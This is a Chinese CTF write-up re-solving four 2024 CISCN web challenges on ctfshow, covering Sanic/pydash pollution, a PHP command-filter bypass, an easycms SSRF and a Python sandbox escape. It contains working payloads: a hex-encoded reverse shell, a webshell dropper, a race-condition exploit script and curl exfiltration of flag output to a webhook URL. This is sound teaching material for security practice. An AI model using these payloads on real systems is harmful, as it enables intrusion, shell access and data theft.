当前位置: 首页 > article >正文

ctfshow复现2024ciscn第一场web

2024ciscn第一场

本章内容均在ctfshow复现

图片若显示失败请参考我的blog👇

ddl08.github.io

sanic

python污染

源码

from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2
​
​
class Pollute:
    def __init__(self):
        pass
​
​
app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)
​
​
@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())
​
​
@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;;n':
        request.ctx.session['admin'] = True
        return text("login success")
​
    return text("login fail")
​
​
@app.route("/src")
async def src(request):
    return text(open(__file__).read())
​
​
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    if request.ctx.session.get('admin') == True:
        key = request.json['key']
        value = request.json['value']
        if key and value and type(key) is str and '_.' not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text("success")
        else:
            return text("forbidden")
​
    return text("forbidden")
​
​
if __name__ == '__main__':
    app.run(host='0.0.0.0')

第一步

绕过编码限制,cookie中遇到;就会默认断开

利用八进制绕过

image-20250113105227333

第二步

污染file属性,打个断点,全局的file属性

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.__file__","value":"/proc/self/environ"}

image-20250113113815380

image-20250113114313553

回到src路由可以看到读取的内容,

第三步

在python中,常用且不能写入的基础数据类型只有一种,那就是元组。所以我们就先不看元组数据

元组示例👇

image-20250113120100459

污染目录读取,static值

断点根目录路由的open

image-20250113121021348

尝试失败,只有name_index下的变量才能保存

根据目录的路由追踪

image-20250113122730857

image-20250113124534891

箭头所指为static的路由

最后将static路由打开文件浏览

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": "True"}

image-20250113134913895

将目录设置在根目录下

不知道为啥,我这里面没有_parts,可能是# pydash==5.1.2这个版本我用的8。xx的问题,没关系

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

image-20250113135035847

在根据第一步的方法获取文件内容

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.__file__","value":"/24bcbd0192e591d6ded1_flag"}

其他

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}

另一种第一步的方法,会直接下载出来

参考

https://redshome.top/2024/12/10/2024%e5%9b%bd%e8%b5%9b-sanic%e5%a4%8d%e7%8e%b0/
https://www.cnblogs.com/gxngxngxn/p/18205235

##

simple_php

题目源码

<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
    $cmd = escapeshellcmd($_POST['cmd']); 
     if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
         system($cmd);
}
}


show_source(__FILE__);
?>

法一

读取

rev能读取文件,du能读取目录,但是读不到环境变量和根目录的下半段

命令的绕过可以使用%0a

cmd=l%0as /
#抓包修改

用php-r

cmd=php -r $a=substr(Z62617368202d63202262617368202d69203e26202f6465762f7463702f3132332e35362e3232362e37312f34343320303e263122,1);system(hex2bin($a));
  • -a - 启动交互式模式

  • -c <path> - 指定 php.ini 配置文件的路径

  • -d <foo[=bar]> - 设置 INI 配置选项

  • -e - 检查文件语法并退出

  • -f <file> - 运行 PHP 文件

  • -h - 显示帮助信息

  • -? - 显示提示

  • -r <code> - 执行一段 PHP 代码

  • -x - 显示所有 PHP 扩展

ctfshow给的环境有问题,怀疑不能出网

写个码

cmd=php -r $a=substr(z6563686f20273c3f706870206563686f28226675636b22293b246368203d206578706c6f646528222e222c227379732e74656d22293b2463203d202463685b305d2e2463685b315d3b246328245f4745545b315d293b27203e202f7661722f7777772f68746d6c2f352e706870,1);system(hex2bin($a));

能写进去,没有flag,/etc/passwd里有个数据库账户

利用上面的码再写进去个蚁剑能连的,数据库弱口令,获取flag

image-20250116115633561

1=system('mysql -uroot -proot -e "use PHP_CMS;show tables;"');
​
1=system('mysql -uroot -proot -e "use PHP_CMS;select * from F1ag_Se3Re7;"');

法二

条件竞争

import requests
import threading
import re
 
url = "http://c982f6eb-ffa4-49b6-bb8f-852a7c416f6c.challenge.ctf.show/"
 
proxies = {"http": None}
 
def upoadFile():
    file = {"files": open("C:/Users/LEGION/Desktop/新建文件夹/02/src/python-code/ctf/py快速提取提交/session文件/e.php")}
    data = {"cmd": "du -a /"}
    res = requests.post(url, files=file, data=data)
    r = re.findall("(/tmp/php.*)", res.text)
    # print(r)
    if r and r[0] != '' and r[0] != '/tmp/php':
        print("php " + r[0])
        exec("php " + r[0])
    # print(res.text)
    
def getPhp():
    
    data = {"cmd": "du -lh --max-depth=1 -a /tmp"}
    res = requests.post(url, data=data)
    r = re.findall("(/tmp/php.*)", res.text)
    # print(r)
    if r and r[0] != '' and r[0] != '/tmp/php':
        print("php " + r[0])
        exec("php " + r[0])
    
def exec(cmd):
    data = {"cmd": cmd}
    res = requests.post(url, data=data)
    print(res.text)
 
if __name__ == "__main__":
    for i in range(5):
        threading.Thread(target=getPhp).start()
        threading.Thread(target=upoadFile).start()

代码分析

临时文件上传,然后去遍历临时文件目录,将遍历结果依次执行

easycms

有提示打ssrf,扫一扫

敏感目录

/flag.php
/install.php
/Readme.txt
/test.php
#V4.6.2

查CNVD-C-2022-423202

https://www.xunruicms.com/bug/
GIF89a
<html>
<?php
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E&%20/dev/tcp/123.56.226.71/443%200%3E&1%22");?>
</html>

shell弹不出来,外带试试

curl https://webhook.site/1d60be04-f923-43af-9a50-bd5668df6528/`ls /|base64`

302不需要,直接打

https://5f5a0b0b-7b93-426d-a816-3d7a0e4b0190.challenge.ctf.show/?s=api&c=api&m=qrcode&text=1&thumb=http://127.0.0.1/flag.php?cmd=curl%20http://webhook.site/1d60be04-f923-43af-9a50-bd5668df6528/`/readflag|base64`

mossfern

参考资料

https://1cfh.fun/2024/05/21/WriteUp/2024-CISCN-Review/#mossfern

生成器

yield用来产生一个值,并在保留当前状态的同时暂停函数的执行
​
当下一次调用生成器时,函数会从上次暂停的位置继续执行,直到遇到下一个yield语句或函数结束
生成器表达式
我们可以使用in关键字去访问一个生成器
例如👇
a=(i+1 for i in range(100))
for i in a:
    print(i)
生成器属性

gi_code:生成器对应的code对象

gi_frame:生成器对应的frame对象

gi_running:生成器函数是否在执行,生成器函数在yield以后,执行yield的下一行代码前处于frozen状态,此时该字段为0

gi_yieldrom:如果生成器正在从另一个生成器中yield值,则在该生成器对象的引用,否则为None

栈帧属性
栈帧包含了以下几个重要的属性:
f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。
f_globals: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。
f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
f_lasti: 整数,表示最后执行的字节码指令的索引。
f_back: 指向上一级调用栈帧的引用,用于构建调用栈。

用它给的例子可以看出规律

import pdb
def f():
    # yield 1
    yield g.gi_frame.f_back
​
g = f()
print("------------------start------------------")
print(g)
frame = next(g)
​
# pdb.set_trace()
print(frame)
print(frame.f_back)
print(frame.f_back.f_back)
print(frame.f_back.f_back.f_back)
print(frame.f_back.f_back.f_back.f_back)
print(frame.f_back.f_back.f_back.f_back.f_back)
print(frame.f_back.f_back.f_back.f_back.f_back.f_back)
print("------------------end------------------")
​

不打断点报错,打完是一步一步往回走,最后找全局属性flag

源码审计

  • run路由下是创建临时文件写入用户传入的python代码去执行

  • runner.py里面是过滤

直接贴exp

def exp():
    def scq():
        yield scq.gi_frame.f_back
​
    scq = scq()
​
    # frame = next(scq)
    frame=[x for x in scq][0]
    print(frame)
    print(frame.f_back)
    gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]
​
    getflag = frame.f_back.f_back.f_back.f_code
​
    dir = gattr.dir
    print(dir(getflag))
​
    for i in getflag.co_consts:
        print(i)
​
exp()

下边这个没回显

builtins = [a:=[],d:=a.append,d([b.gi_frame.f_back.f_back.f_globals]for b in a),*a[0]][-1][0]["_""_builtins_""_"]
eval = builtins.eval
flag = eval("_""_import_""_('os').popen('ls /').read()", {"_""_builtins_""_": builtins})
print(flag[::-1])

参考

https://xz.aliyun.com/t/13635?time__1311=mqmxnQ0QiQi=DteDsD7md0=dG=dSMOkdxWD&alichlgref=https://www.bing.com/

http://www.kler.cn/a/507785.html

相关文章:

  • .Net Core微服务入门全纪录(二)——Consul-服务注册与发现(上)
  • @Scope(“prototype“)
  • springboot如何解析 Map 的泛型信息来确定要注入哪些 Bean?
  • python爬虫爬取淘宝商品比价||淘宝商品详情API接口
  • 大疆发布可折叠航拍无人机,仅重249g,支持 4800 万像素拍摄
  • LabVIEW与WPS文件格式的兼容性
  • Leetcode 91. 解码方法 动态规划
  • DATACOM-STP、RSTP、MSTP-复习-实验
  • 简历_使用优化的Redis自增ID策略生成分布式环境下全局唯一ID,用于用户上传数据的命名以及多种ID的生成
  • 【Python】Selenium根据网页页面长度,模拟向下滚动鼠标,直到网页底部的操作
  • UI Automation 中所有Patterns
  • [WUSTCTF2020]Cr0ssfun
  • Nginx(搭建高可用集群)
  • 如何使用WPS的JS宏实现Word表格的自动编号
  • Open3D 计算每个点的协方差矩阵【2025最新版】
  • improve-gantt-elastic(vue2中甘特图实现与引入)
  • 软考信安25~移动应用安全需求分析与安全保护工程
  • blackbox_exporter 如何检测端口
  • 【Javaweb05】 XML探秘:解码数据的哲学,构建跨界的沟通桥梁
  • 终极布朗尼盘-论文学习总结(来自美赛2013A题)
  • uniapp -- Vue3 MQTT集成(H5、小程序)踩坑记录
  • 【MySQL】MySQL用户管理
  • RV1126+FFMPEG推流项目(9)AI和AENC模块绑定,并且开启线程采集
  • Docker安装PostGreSQL docker安装PostGreSQL 完整详细教程
  • 【零基础入门unity游戏开发——unity通用篇36】向量(Vector3)的基本操作和运算(基于unity6开发介绍)
  • linux中的docker下载镜像